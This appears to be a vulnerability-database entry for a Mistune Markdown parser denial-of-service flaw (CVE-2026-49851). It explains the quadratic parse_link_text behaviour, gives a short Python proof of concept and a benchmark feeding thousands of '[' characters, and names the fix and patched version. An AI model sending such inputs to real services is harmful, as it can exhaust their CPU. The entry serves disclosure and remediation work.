CVE-2026-49851High· 7.5▾ TwilightMistune: Potential DoS via quadratic-time parsing in parse_link_text
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 9.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.4%
0.4% → 0.6%
Last analysed / modified upstream
Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.
mistune/inline_parser.py → parse_link_text
When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.
The vulnerability stems from a two-loop interaction:
InlineParser.parse() (inline_parser.py) advances
only 1 character at a time when parse_link() returns Noneparse_link_text() which performs an O(n)
scan to the end of the string looking for a closing ][ characters, this results in O(n) × O(n) = O(n²)
total workRun below python script
import mistune
import time
md = mistune.create_markdown()
s = "[" * 6400
t = time.perf_counter()
md(s)
print(time.perf_counter() - t)
<img width="2028" height="1277" alt="image" src="https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06" />
Benmark poc Run below code for benchmark
import mistune
import time
md = mistune.create_markdown()
sizes = [100,200,400,800,1600,3200,6400]
for n in sizes:
s = "[" * n
t0 = time.perf_counter()
md(s)
dt = time.perf_counter() - t0
print(f"{n:6d} {dt:.6f}")
<img width="2503" height="1341" alt="image" src="https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e" />
python3 benchmark.py
100 0.001609
200 0.003207
400 0.012906
800 0.050220
1600 0.197307
3200 0.801172
6400 3.190393
Execution time grows superlinearly, consistent with O(n²) complex
This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:
Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time
CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)
mistune < 3.3.0Upgrade to a patched release:
mistune 3.3.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-33079High· 7.5In versions 3.0.0a1 through 3.2.0 of Mistune, there is a ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` that allows an attacker who can supply Markdown for parsing to cause denial of service
CVE-2026-44896Medium· 6.1Mistune has XSS via unescaped figclass/figwidth in Figure directive
CVE-2026-76098High· 7.5Mistune is a Python Markdown parser with renderers and plugins
CVE-2026-44897Medium· 6.1Mistune Heading ID Attribute has Injection XSS
CVE-2026-44899Medium· 4.7Mistune Image Directive CSS Injection Vulnerability
CVE-2026-44708Medium· 6.1Mistune Math Plugin has an XSS Escape Bypass